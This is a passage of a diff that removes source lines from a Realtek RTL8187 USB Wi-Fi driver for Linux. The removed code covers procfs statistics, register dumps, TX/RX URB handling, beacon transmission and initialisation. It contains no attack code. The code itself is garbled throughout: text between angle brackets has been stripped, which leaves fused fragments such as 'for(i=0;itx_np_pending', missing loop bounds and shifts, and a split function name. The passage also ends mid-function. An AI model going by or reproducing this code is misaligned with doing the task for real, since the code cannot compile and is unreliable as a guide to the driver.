set_nic_txring(struct net_device *dev); -static struct net_device_stats *rtl8180_stats(struct net_device *dev); -void rtl8180_commit(struct net_device *dev); -void rtl8180_restart(struct net_device *dev); - -/**************************************************************************** - -----------------------------PROCFS STUFF------------------------- -*****************************************************************************/ - -static struct proc_dir_entry *rtl8180_proc = NULL; - -static int proc_get_registers(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - int i,n; - - int max=0xff; - - /* This dump the current register page */ - for(n=0;n<=max;) - { - //printk( "\nD: %2x> ", n); - len += snprintf(page + len, count - len, - "\nD: %2x > ",n); - - for(i=0;i<16 && n<=max;i++,n++) - len += snprintf(page + len, count - len, - "%2x ",read_nic_byte(dev,n)); - - // printk("%2x ",read_nic_byte(dev,n)); - } - len += snprintf(page + len, count - len,"\n"); - - - - *eof = 1; - return len; - -} - -#if 0 -static int proc_get_stats_hw(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "NIC int: %lu\n" - "Total int: %lu\n", - priv->stats.ints, - priv->stats.shints); - - *eof = 1; - return len; -} -#endif - -static int proc_get_stats_tx(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "TX normal priority ok int: %lu\n" - "TX normal priority error int: %lu\n" -// "TX high priority ok int: %lu\n" -// "TX high priority failed error int: %lu\n" - "TX low priority ok int: %lu\n" - "TX low priority failed error int: %lu\n" - "TX queue resume: %lu\n" - "TX queue stopped?: %d\n" - "TX fifo overflow: %lu\n" -// "TX beacon: %lu\n" - "TX lp queue: %d\n" - "TX np queue: %d\n" - "TX HW queue: %d\n" - "TX lp dropped: %lu\n" - "TX np dropped: %lu\n" - "TX total data packets %lu\n", -// "TX beacon aborted: %lu\n", - priv->stats.txnpokint, - priv->stats.txnperr, -// priv->stats.txhpokint, -// priv->stats.txhperr, - priv->stats.txlpokint, - priv->stats.txlperr, - priv->stats.txresumed, - netif_queue_stopped(dev), - priv->stats.txoverflow, -// priv->stats.txbeacon, - atomic_read(&(priv->tx_lp_pending)), - atomic_read(&(priv->tx_np_pending)), - read_nic_byte(dev, TXFIFOCOUNT), - priv->stats.txlpdrop, - priv->stats.txnpdrop, - priv->stats.txdatapkt -// priv->stats.txbeaconerr - ); - - *eof = 1; - return len; -} - - - -static int proc_get_stats_rx(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "RX packets: %lu\n" - "RX urb status error: %lu\n" - "RX invalid urb error: %lu\n", - priv->stats.rxok, - priv->stats.rxstaterr, - priv->stats.rxurberr); - - *eof = 1; - return len; -} - - -static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - return &priv->wstats; -} - -void rtl8180_proc_module_init(void) -{ - DMESG("Initializing proc filesystem"); - rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); -} - - -void rtl8180_proc_module_remove(void) -{ - remove_proc_entry(RTL8187_MODULE_NAME, proc_net); -} - - -void rtl8180_proc_remove_one(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - if (priv->dir_dev) { - // remove_proc_entry("stats-hw", priv->dir_dev); - remove_proc_entry("stats-tx", priv->dir_dev); - remove_proc_entry("stats-rx", priv->dir_dev); - // remove_proc_entry("stats-ieee", priv->dir_dev); - // remove_proc_entry("stats-ap", priv->dir_dev); - remove_proc_entry("registers", priv->dir_dev); - remove_proc_entry(dev->name, rtl8180_proc); - priv->dir_dev = NULL; - } -} - - -void rtl8180_proc_init_one(struct net_device *dev) -{ - struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, - rtl8180_proc); - if (!priv->dir_dev) { - DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", - dev->name); - return; - } - #if 0 - e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_hw, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-hw\n", - dev->name); - } - #endif - e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_rx, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-rx\n", - dev->name); - } - - - e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_tx, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-tx\n", - dev->name); - } - #if 0 - e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_ieee, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-ieee\n", - dev->name); - } - - - e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_ap, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-ap\n", - dev->name); - } - #endif - - e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_registers, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/registers\n", - dev->name); - } -} -/**************************************************************************** - -----------------------------MISC STUFF------------------------- -*****************************************************************************/ - -/* this is only for debugging */ -void print_buffer(u32 *buffer, int len) -{ - int i; - u8 *buf =(u8*)buffer; - - printk("ASCII BUFFER DUMP (len: %x):\n",len); - - for(i=0;itx_np_pending : &priv->tx_lp_pending); - - return (used < MAX_TX_URB); -} - -void tx_timeout(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - //rtl8180_commit(dev); - schedule_work(&priv->reset_wq); - //DMESG("TXTIMEOUT"); -} - - -/* this is only for debug */ -void dump_eprom(struct net_device *dev) -{ - int i; - for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); -} - -/* this is only for debug */ -void rtl8180_dump_reg(struct net_device *dev) -{ - int i; - int n; - int max=0xff; - - DMESG("Dumping NIC register map"); - - for(n=0;n<=max;) - { - printk( "\nD: %2x> ", n); - for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); - } - printk("\n"); -} - -/**************************************************************************** - ------------------------------HW STUFF--------------------------- -*****************************************************************************/ - - -void rtl8180_irq_enable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - //priv->irq_enabled = 1; -/* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ - INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ - INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); -*/ - write_nic_word(dev,INTA_MASK, priv->irq_mask); -} - - -void rtl8180_irq_disable(struct net_device *dev) -{ -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - write_nic_word(dev,INTA_MASK,0); - force_pci_posting(dev); -// priv->irq_enabled = 0; -} - - -void rtl8180_set_mode(struct net_device *dev,int mode) -{ - u8 ecmd; - ecmd=read_nic_byte(dev, EPROM_CMD); - ecmd=ecmd &~ EPROM_CMD_OPERATING_MODE_MASK; - ecmd=ecmd | (mode<ieee80211->state == IEEE80211_LINKED){ - - if (priv->ieee80211->iw_mode == IW_MODE_INFRA) - msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) - msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) - msr |= (MSR_LINK_MASTER<chan=ch; - #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || - priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; - priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); - } - #endif - - /* this hack should avoid frame TX during channel setting*/ - tx = read_nic_dword(dev,TX_CONF); - tx &= ~TX_LOOPBACK_MASK; - -#ifndef LOOP_TEST - write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); - mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, - usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, - RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); - if(err && err != -EPERM){ - DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - - } - -} - - -void rtl8187_rx_initiate(struct net_device *dev) -{ - int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - if(!priv->rx_urb) - DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - -} - -void rtl8187_set_rxconf(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u32 rxconf; - - rxconf=read_nic_dword(dev,RX_CONF); - rxconf = rxconf &~ MAC_FILTER_MASK; - rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - - if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ - dev->flags & IFF_PROMISC){ - rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ - rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ - rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) - rxconf = rxconf | (1<card_8185){ - - txconf = txconf &~ (1<ieee80211->hw_seq) - txconf= txconf &~ (1<retry_data<retry_rts<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - */ -} - -#if 0 -void rtl8180_beacon_tx_enable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask &=~(1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -} - - -void rtl8180_ -_disable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask |= (1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -} - -#endif - - -void rtl8180_rtx_disable(struct net_device *dev) -{ - u8 cmd; - int i; - struct r8180_priv *priv = ieee80211_priv(dev); - - cmd=read_nic_byte(dev,CMD); - write_nic_byte(dev, CMD, cmd &~ \ - ((1<rx_urb){ - for(i=0;irx_urb[i]); - } - /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) -// dev_kfree_skb_any(priv->rx_skb); -} - - -int alloc_tx_beacon_desc_ring(struct net_device *dev, int count) -{ - #if 0 - int i; - u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, - &priv->txbeaconringdma); - if (!priv->txbeaconring) return -1; - for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); - else - *(tmp+4) = (u32)priv->txbeaconringdma; - - tmp=tmp+8; - } - #endif - return 0; -} - - -void rtl8180_reset(struct net_device *dev) -{ - - u8 cr; - - /* make sure the analog power is on before - * reset, otherwise reset may fail - */ - rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - - rtl8180_irq_disable(dev); - - mdelay(200); - write_nic_byte_E(dev,0x18,0x10); - write_nic_byte_E(dev,0x18,0x11); - write_nic_byte_E(dev,0x18,0x00); - mdelay(200); - - cr=read_nic_byte(dev,CMD); - cr = cr & 2; - cr = cr | (1<11) return 0; - return rtl_rate[rate]; -} - - -void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - - priv->rxurb_task = rx_urb; -// DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); -// DMESGW("=David: Rx tasklet finish!"); -} - -#if 0 -void rtl8180_tx_queues_stop(struct net_device *dev) -{ - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - #endif -} - - -void rtl8180_data_hard_resume(struct net_device *dev) -{ - // FIXME !! - #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask &= ~(1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - #endif -} - - -/* this function TX data frames when the ieee80211 stack requires this. - * It checks also if we need to stop the ieee tx queue, eventually do it - */ -void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; - unsigned long flags; - struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; -// DMESG("%x %x", h->frame_ctl, h->seq_ctl); - /* - * This function doesn't require lock because we make - * sure it's called with the tx_lock already acquired. - * this come from the kernel's hard_xmit callback (trought - * the ieee stack, or from the try_wake_queue (again trought - * the ieee stack. - */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - -} -#if 0 -/* This is a rough attempt to TX a frame - * This is called by the ieee 80211 stack to TX management frames. - * If the ring is full packet are dropped (for data frame the queue - * is stopped before this can happen). - */ -int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - int ret; - unsigned long flags; - - spin_lock_irqsave(&priv->tx_lock,flags); - - ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); -/* - int i; - for(i=0;ilen;i++) - printk("%x ", skb->data[i]); - printk("--------------------\n"); -*/ - priv->ieee80211->stats.tx_bytes+=skb->len; - priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - - dev_kfree_skb_any(skb); - return ret; -} -#endif - -#if 0 -// longpre 144+48 shortpre 72+24 -u16 rtl8180_len2duration(u32 len, short rate,short* ext) -{ - u16 duration; - u16 drift; - *ext=0; - - switch(rate){ - case 0://1mbps - *ext=0; - duration = ((len+4)<<4) /0x2; - drift = ((len+4)<<4) % 0x2; - if(drift ==0 ) break; - duration++; - break; - - case 1://2mbps - *ext=0; - duration = ((len+4)<<4) /0x4; - drift = ((len+4)<<4) % 0x4; - if(drift ==0 ) break; - duration++; - break; - - case 2: //5.5mbps - *ext=0; - duration = ((len+4)<<4) /0xb; - drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) - break; - duration++; - break; - - default: - case 3://11mbps - *ext=0; - duration = ((len+4)<<4) /0x16; - drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) - break; - duration++; - if(drift > 6) - break; - *ext=1; - break; - } - - return duration; -} -#endif - -void rtl8180_try_wake_queue(struct net_device *dev, int pri); - -void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - if(tx_urb->status == 0) - priv->stats.txlpokint++; - else - priv->stats.txlperr++; - kfree(tx_urb->transfer_buffer); - usb_free_urb(tx_urb); - atomic_dec(&priv->tx_lp_pending); - rtl8180_try_wake_queue(dev,LOW_PRIORITY); -} - - -void rtl8187_beacon_stop(struct net_device *dev) -{ - u8 msr, msrm, msr2; - msr = read_nic_byte(dev, MSR); - msrm = msr & MSR_LINK_MASK; - msr2 = msr & ~MSR_LINK_MASK; - if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - - write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); - write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); - //for(i=0;ibssid[i]); - - rtl8180_update_msr(dev); - -// rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); - write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); - write_nic_word(dev, BcnIntTime, 100); - - -} - -void rtl8187_beacon_tx(struct net_device *dev) -{ - - struct r8180_priv *priv = ieee80211_priv(dev); - struct sk_buff *skb; - int i = 0; - - rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ - DMESG("not enought memory for allocating beacon"); - return; - } - -#if 0 - while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ - msleep_interruptible_rtl(HZ/2); - if(i++ > 20){ - DMESG("get stuck to wait EP3 become ready"); - return ; - } - } -#endif - write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - - i=0; - //while(!read_nic_byte(dev,BQREQ & (1<<7))) - while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) - { - msleep_interruptible_rtl(HZ/2); - if(i++ > 10){ - DMESG("get stuck to wait HW beacon to be ready"); - return ; - } - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, - 0, priv->ieee80211->basic_rate); - -} - -void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - if(tx_urb->status == 0) - priv->stats.txnpokint++; - else - priv->stats.txnperr++; - kfree(tx_urb->transfer_buffer); - usb_free_urb(tx_urb); - atomic_dec(&priv->tx_np_pending); - //rtl8180_try_wake_queue(dev,NORM_PRIORITY); -} - - -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB - */ - -short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, - short morefrag, short rate) -{ - u32 *tx; -// u16 duration; -// short ext; - int pend ; - int status; - struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); -// int rate = ieeerate2rtlrate(priv->ieee80211->rate); - - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ - if( pend > MAX_TX_URB){ - if(priority == NORM_PRIORITY) - priv->stats.txnpdrop++; - else - priv->stats.txlpdrop++; - return -1; - } - - - //tx = kmalloc((len + 4*3), GFP_ATOMIC); - urb_len = len + 4*3; - if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; - } - tx = kmalloc(urb_len, GFP_ATOMIC); - if(!tx) return -ENOMEM; -printk(KERN_WARNING "urb_len = %d\n", urb_len); - tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - - if(!tx_urb){ - - kfree(tx); - return -ENOMEM; - } - - memcpy(tx+3,txbuf,len); - tx[0] = 0; - tx[0] |= len & 0xfff; - tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} - if(morefrag) tx[0] |= (1<<17); - tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ - tx[0] |= (rate << 24); - tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - - -// tx[2] = 0x303020; - tx[2] = 3; // CW min - tx[2] |= (7<<4); //CW max - tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - -// printk("%x\n%x\n",tx[0],tx[1]); - - #ifdef DUMP_TX - int i; - printk("--rate %x---",rate); - for (i = 0; i < (len + 3); i++) - printk("%2x", ((u8*)tx)[i]); - printk("---------------\n"); - #endif - - - /* FIXME check what EP is for low/norm PRI */ - usb_fill_bulk_urb(tx_urb,priv->udev, - usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, - urb_len, (priority == LOW_PRIORITY)?rtl8187_lptx_isr:rtl8187_nptx_isr, dev); - status = usb_submit_urb(tx_urb, GFP_ATOMIC); - if (!status){ - atomic_inc((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - return 0; - }else{ - DMESGE("Error TX URB %d, error %d", - atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending), - status); - return -1; - } -} - - - -void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); - - -short rtl8187_usb_initendpoints(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int i; - - priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - - for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) - goto destroy; - - priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) - goto destroy1; - - priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; - } - - return 0; - -destroy1: - usb_free_urb(priv->rx_urb[i]); - -destroy: - while (--i >= 0){ - kfree(priv->rx_urb[i]->transfer_buffer); - usb_free_urb(priv->rx_urb[i]); - } - - kfree(priv->rx_urb); - - priv->rx_urb = NULL; - DMESGE("Endpoint Alloc Failure"); - return -ENOMEM; - -} - -void rtl8187_usb_deleteendpoints(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int i; - - if(priv->rx_urb){ - for(i=0;irx_urb[i]); - kfree(priv->rx_urb[i]->transfer_buffer); - usb_free_urb(priv->rx_urb[i]); - } - kfree(priv->rx_urb); - priv->rx_urb = NULL; - - } - -} - - -void rtl8187_set_rate(struct net_device *dev) -{ - int i; - u16 word; - int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && -// priv->ieee80211->state == IEEE80211_LINKED){ - basic_rate = ieeerate2rtlrate(240); - min_rr_rate = ieeerate2rtlrate(60); - max_rr_rate = ieeerate2rtlrate(240); - -// -// }else{ -// basic_rate = ieeerate2rtlrate(20); -// min_rr_rate = ieeerate2rtlrate(10); -// max_rr_rate = ieeerate2rtlrate(110); -// } - - write_nic_byte(dev, RESP_RATE, - max_rr_rate<beacon_interval); - rtl8187_net_update(dev); - /*update timing params*/ - rtl8180_set_chan(dev, priv->chan); - - rtl8187_set_rxconf(dev); -} - -void rtl8180_irq_rx_tasklet(struct r8180_priv *priv); - -short rtl8180_init(struct net_device *dev) -{ - - struct r8180_priv *priv = ieee80211_priv(dev); - int i, j; - u16 word; - int ch; - //u16 version; - //u8 hw_version; - //u8 config3; - - //FIXME: these constants are placed in a bad pleace. - -// priv->txbuffsize = 1024; -// priv->txringcount = 32; -// priv->rxbuffersize = 1024; -// priv->rxringcount = 32; -// priv->txbeaconcount = 3; -// priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; - /* ^^ the SKB does not containt a partial RXed - * packet (is empty) - */ - - if(!channels){ - DMESG("No channels, aborting"); - return -1; - } - ch=channels; - // set channels 1..14 allowed in given locale - for (i=1; i<=14; i++) { - (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); - ch >>= 1; - } - //memcpy(priv->stats,0,sizeof(struct Stats)); - - //priv->irq_enabled=0; - -// priv->stats.rxdmafail=0; - priv->stats.txrdu=0; -// priv->stats.rxrdu=0; -// priv->stats.rxnolast=0; -// priv->stats.rxnodata=0; - //priv->stats.rxreset=0; - //priv->stats.rxwrkaround=0; -// priv->stats.rxnopointer=0; - priv->stats.txnperr=0; - priv->stats.txresumed=0; -// priv->stats.rxerr=0; -// priv->stats.rxoverflow=0; -// priv->stats.rxint=0; - priv->stats.txnpokint=0; - /*priv->stats.txhpokint=0; - priv->stats.txhperr=0;*/ - priv->stats.rxurberr=0; - priv->stats.rxstaterr=0; - priv->stats.txoverflow=0; - priv->stats.rxok=0; -// priv->stats.txbeaconerr=0; - priv->stats.txlperr=0; - priv->stats.txlpokint=0; - - priv->ieee80211->iw_mode = IW_MODE_INFRA; - - priv->retry_rts = DEFAULT_RETRY_RTS; - priv->retry_data = DEFAULT_RETRY_DATA; - priv->ieee80211->rate = 110; //11 mbps - priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; - priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; - spin_lock_init(&priv->tx_lock); - INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); - sema_init(&priv->wx_sem,1); - tasklet_init(&priv->irq_rx_tasklet, - (void(*)(unsigned long))rtl8180_irq_rx_tasklet, - (unsigned long)priv); - - //priv->ieee80211->func = - // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); - //memset(priv->ieee80211->func, 0, - // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; - priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | - IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | - /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - - priv->ieee80211->active_scan = 1; - priv->ieee80211->rate = 110; //11 mbps - priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; - priv->ieee80211->host_encrypt = 1; - priv->ieee80211->host_decrypt = 1; - priv->ieee80211->start_send_beacons = rtl8187_beacon_tx; - priv->ieee80211->stop_send_beacons = rtl8187_beacon_stop; - //priv->ieee80211->softmac_hard_start_xmit = rtl8180_hard_start_xmit; - priv->ieee80211->softmac_hard_start_xmit = NULL; - priv->ieee80211->set_chan = rtl8180_set_chan; - priv->ieee80211->link_change = rtl8187_link_change; - priv->ieee80211->softmac_data_hard_start_xmit = rtl8180_hard_data_xmit; - priv->ieee80211->data_hard_stop = rtl8180_data_hard_stop; - priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; - //priv->ieee80211->start_send_beacons = NULL; - //priv->ieee80211->stop_send_beacons = NULL; - - priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - - priv->card_8185 = 2; - priv->phy_ver = 2; - priv->card_type = USB; - - #if 0 - hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - - switch (hw_version){ - case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); - priv->card_8185 = 1; - /* you should not find a card with 8225 PHY ver < C*/ - priv->phy_ver = 2; - break; - - case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); - priv->card_8185 = 2; - /* you should not find a card with 8225 PHY ver < C*/ - priv->phy_ver = 2; - break; - - case HW_VERID_R8180_ABCD: - DMESG("MAC controller is a RTL8180"); - priv->card_8185 = 0; - break; - - case HW_VERID_R8180_F: - DMESG("MAC controller is a RTL8180 (v. F)"); - priv->card_8185 = 0; - break; - - default: - DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); - priv->card_8185 = 0; - break; - } - - - /* you should not found any 8185 Ver B Card */ - priv->card_8185_Bversion = 0; - - config3 = read_nic_byte(dev, CONFIG3); - if(config3 & 0x8){ - priv->card_type = CARDBUS; - DMESG("This is a CARDBUS NIC"); - } - else if( config3 & 0x4){ - priv->card_type = MINIPCI; - DMESG("This is a MINI-PCI NIC"); - }else{ - priv->card_type = PCI; - DMESG("This is a PCI NIC"); - } - #endif - priv->enable_gpio0 = 0; - - - /* commented out just because we already do - this when resetting the card - andrea 20050924 - */ - #if 0 - - u8 txcr, txreg50; - u32 txreg54, txreg60; - - /* enable A/D D/A register */ - txcr = read_nic_byte(dev, 0x59); -// DMESG("", txcr); - //write_nic_word(dev, 0x59, 0x44); - write_nic_byte(dev, 0x59, 0x44); - //write_nic_byte(dev, 0x59, 0xea); - txcr = read_nic_byte(dev, 0x59); -// DMESG("<>", txcr); - - txreg50 = read_nic_byte(dev, 0x50); - // DMESG("", txreg50); - write_nic_byte(dev, 0x50, 0xc0); - txreg50 = read_nic_byte(dev, 0x50); - // 